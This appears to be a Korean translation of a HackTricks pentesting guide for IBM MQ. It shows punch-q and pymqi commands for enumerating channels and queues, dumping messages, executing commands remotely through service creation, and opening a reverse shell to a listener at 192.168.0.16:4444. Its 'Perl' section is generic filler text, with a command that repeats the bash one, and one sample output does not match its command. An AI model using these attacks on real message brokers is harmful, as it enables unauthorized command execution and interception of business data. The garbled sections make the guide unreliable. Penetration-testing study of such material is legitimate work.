# 1414 - IBM MQ 펜테스팅
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! * **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. * [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. * [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
## 기본 정보 IBM MQ는 메시지 큐를 관리하기 위한 IBM 기술입니다. 다른 **메시지 브로커** 기술과 마찬가지로, 생산자와 소비자 간의 정보를 수신, 저장, 처리 및 분류하는 데 사용됩니다. 기본적으로 **IBM MQ TCP 포트 1414**를 노출합니다. 때로는 HTTP REST API가 포트 **9443**에서 노출될 수도 있습니다. 메트릭 (Prometheus)은 TCP 포트 **9157**에서 액세스할 수도 있습니다. IBM MQ TCP 포트 1414는 메시지, 큐, 채널 등을 조작하는 데 사용될 수 있지만 **인스턴스를 제어하는 데에도 사용될 수 있습니다**. IBM은 [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)에서 사용 가능한 다양한 기술 문서를 제공합니다. ## 도구 쉬운 공격을 위한 제안된 도구는 Docker를 사용한 **[punch-q](https://github.com/sensepost/punch-q)**입니다. 이 도구는 Python 라이브러리 `pymqi`를 활용하고 있습니다. 더 수동적인 접근을 위해서는 Python 라이브러리 **[pymqi](https://github.com/dsuch/pymqi)**를 사용하세요. [IBM MQ 종속성](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)이 필요합니다. ### pymqi 설치하기 **IBM MQ 종속성**을 설치하고 로드해야 합니다: 1. [https://login.ibm.com/](https://login.ibm.com/)에서 계정 (IBMid)을 생성하세요. 2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)에서 IBM MQ 라이브러리를 다운로드하세요. Linux x86_64의 경우 **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**입니다. 3. 압축을 해제하세요 (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`). 4. 라이선스 약관을 수락하기 위해 `sudo ./mqlicense.sh`를 실행하세요. >Kali Linux를 사용하는 경우, `mqlicense.sh` 파일을 수정하세요. 다음 라인들을 제거하거나 주석 처리하세요 (105-110번째 줄 사이): > >```bash >if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 >fi >``` 5. 다음 패키지들을 설치하세요: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. 그런 다음 LD에 `.so` 파일을 일시적으로 추가하십시오: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, 이후에 이러한 종속성을 사용하는 다른 도구를 실행하기 전에. 그런 다음, [**pymqi**](https://github.com/dsuch/pymqi) 프로젝트를 복제하십시오. 흥미로운 코드 스니펫, 상수 등이 포함되어 있습니다. 또는 `pip install pymqi`를 사용하여 라이브러리를 직접 설치할 수도 있습니다. ### punch-q 사용 #### Docker를 사용하는 경우 간단히 `sudo docker run --rm -ti leonjza/punch-q`를 사용하십시오. #### Docker를 사용하지 않는 경우 [**punch-q**](https://github.com/sensepost/punch-q) 프로젝트를 복제한 다음 설치에 대한 readme를 따르십시오 (`pip install -r requirements.txt && python3 setup.py install`). 그 후에 `punch-q` 명령어로 사용할 수 있습니다. ## 열거 **punch-q** 또는 **pymqi**를 사용하여 **큐 매니저 이름, 사용자, 채널 및 큐**를 열거해 볼 수 있습니다. ### 큐 매니저 때로는 큐 매니저 이름을 얻는 데 대한 보호가 없을 수 있습니다: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### 채널 **punch-q**는 기존 채널을 찾기 위해 내부(수정 가능) 워드리스트를 사용합니다. 사용 예시: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` 일부 IBM MQ 인스턴스는 **인증되지 않은** MQ 요청을 허용하는 경우가 있으므로 `--username / --password`는 필요하지 않습니다. 물론 액세스 권한도 다를 수 있습니다. 한 번 채널 이름 (여기서는 `DEV.ADMIN.SVRCONN`)을 얻으면 다른 모든 채널을 열거할 수 있습니다. 열거는 기본적으로 **pymqi**의 `code/examples/dis_channels.py` 코드 스니펫을 사용하여 수행할 수 있습니다. ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ...하지만 **punch-q**도 그 부분을 포함하고 있습니다(더 많은 정보와 함께!). 다음과 같이 실행할 수 있습니다: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### 큐 **pymqi** (`dis_queues.py`)와 함께 사용할 수 있는 코드 스니펫이 있지만 **punch-q**를 사용하면 큐에 대한 더 많은 정보를 가져올 수 있습니다: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## Exploit ### 메시지 덤프 큐/채널을 대상으로하여 메시지를 가로채거나 덤프할 수 있습니다 (파괴적인 작업은 아닙니다). *예시:* ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **모든 식별된 큐에 대해 주저하지 말고 반복하세요.** ### 코드 실행 > 계속하기 전에 몇 가지 세부 정보: IBM MQ는 MQSC, PCF, 제어 명령을 통해 제어될 수 있습니다. 일반적인 목록은 [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)에서 찾을 수 있습니다. > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***)는 원격으로 인스턴스와 상호 작용하기 위해 주로 사용됩니다. **punch-q**와 **pymqi**는 PCF 상호 작용을 기반으로 합니다. > > PCF 명령의 목록을 찾을 수 있습니다: > * [PCF 문서에서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), 그리고 > * [상수에서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). > > 흥미로운 명령 중 하나는 `MQCMD_CREATE_SERVICE`이며, 해당 문서는 [여기](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)에서 확인할 수 있습니다. 이 명령은 인스턴스의 로컬 프로그램을 가리키는 `StartCommand`를 인수로 사용합니다 (예: `/bin/sh`). > > 문서에서 이 명령에 대한 경고도 있습니다: *"주의: 이 명령은 사용자가 mqm 권한으로 임의의 명령을 실행할 수 있게 합니다. 이 명령을 사용할 권한이 부여된 경우, 악의적이거나 부주의한 사용자가 시스템이나 데이터를 손상시킬 수 있는 서비스를 정의할 수 있습니다. 예를 들어 필수 파일을 삭제하는 등의 작업을 수행할 수 있습니다."* > > *참고: IBM MQ 문서 (관리 참조)에 따르면, 서비스 생성 (`DEFINE SERVICE`)를 위한 동등한 MQSC 명령을 실행하는 HTTP 엔드포인트인 `/admin/action/qmgr/{qmgrName}/mqsc`도 있습니다. 이 측면은 아직 다루지 않았습니다.* 원격 프로그램 실행을 위한 PCF를 사용한 서비스 생성/삭제는 **punch-q**를 통해 수행할 수 있습니다: **예제 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > IBM MQ의 로그에서 명령이 성공적으로 실행되었음을 확인할 수 있습니다: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: 명령 '808544aa7fc94c48'이 시작되었습니다. 프로세스 ID(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` 또한 기기에 있는 기존 프로그램들을 열거할 수도 있습니다 (여기서 `/bin/doesnotexist`는 존재하지 않습니다): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **프로그램 실행이 비동기적으로 진행되므로, 악용을 위해 두 번째 항목이 필요합니다** ***(리버스 쉘을 위한 리스너, 다른 서비스에서의 파일 생성, 네트워크를 통한 데이터 유출 등)*** **예시 2** 간편한 리버스 쉘을 위해, **punch-q**는 두 가지 리버스 쉘 페이로드를 제공합니다: * bash를 사용한 페이로드 * perl을 사용한 페이로드 *물론 `execute` 명령어를 사용하여 사용자 정의 페이로드를 만들 수도 있습니다.* bash를 사용하는 경우: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` 펄(Perl)에 대해: Perl은 강력한 스크립팅 언어로, 다양한 운영 체제에서 사용할 수 있습니다. 펄은 텍스트 처리, 파일 조작, 네트워크 통신 등 다양한 작업에 사용됩니다. 펄은 간결하고 유연한 문법을 가지고 있으며, 다양한 모듈과 라이브러리를 제공하여 개발자가 원하는 기능을 쉽게 구현할 수 있습니다. 펄을 사용하여 네트워크 서비스 펜테스팅을 수행할 때, 다양한 기능과 모듈을 활용할 수 있습니다. 예를 들어, 펄을 사용하여 소켓 프로그래밍을 수행하거나, 네트워크 프로토콜을 조작하거나, 패킷을 캡처하고 분석할 수 있습니다. 또한, 펄을 사용하여 웹 서비스나 데이터베이스와의 통신을 자동화하거나, 보안 취약점을 검사하는 스크립트를 작성할 수도 있습니다. 펄은 강력한 문자열 처리 기능을 제공하며, 정규 표현식을 사용하여 텍스트를 검색하고 변형할 수 있습니다. 또한, 펄은 파일 조작에 유용한 기능들을 제공하며, 파일의 읽기, 쓰기, 수정 등 다양한 작업을 수행할 수 있습니다. 펄은 다양한 운영 체제에서 사용할 수 있으며, 커뮤니티에서는 다양한 모듈과 라이브러리를 제공하고 있습니다. 이러한 모듈과 라이브러리를 활용하여 펄의 기능을 확장할 수 있으며, 개발자들은 이를 통해 더욱 효율적인 코드를 작성할 수 있습니다. ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### 커스텀 PCF IBM MQ 문서를 참조하여 **pymqi** 파이썬 라이브러리를 직접 사용하여 **punch-q**에서 구현되지 않은 특정 PCF 명령을 테스트할 수 있습니다. **예시:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` 만약 상수 이름을 찾을 수 없다면, [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)를 참조할 수 있습니다. > *예시로 [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (10진수 = 73)를 사용합니다. 이는 `MQCA_CLUSTER_NAME` (10진수 = 2029) 매개변수를 필요로 합니다. 이는 `*`일 수 있습니다 (문서: ):* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Error") > else: > print(response) > > qmgr.disconnect() > ``` ## 테스트 환경 IBM MQ 동작 및 취약점을 테스트하려면 Docker를 기반으로 로컬 환경을 설정할 수 있습니다: 1. ibm.com 및 cloud.ibm.com에 계정을 가지고 있어야 합니다. 2. 다음과 같이 컨테이너화된 IBM MQ를 생성합니다: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` 기본적으로 인증이 활성화되어 있으며, 사용자 이름은 `admin`이고 비밀번호는 `passw0rd`입니다 (환경 변수 `MQ_ADMIN_PASSWORD`). 여기에서 큐 매니저 이름은 `MYQUEUEMGR`로 설정되었습니다 (변수 `MQ_QMGR_NAME`). IBM MQ가 실행 중이고 포트가 노출되어 있어야 합니다: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > IBM MQ 도커 이미지의 이전 버전은 다음 위치에 있습니다: https://hub.docker.com/r/ibmcom/mq/. ## 참고 자료 * [mgeeky의 gist - "실용적인 IBM MQ 펜테스팅 노트"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) * [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) * [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq)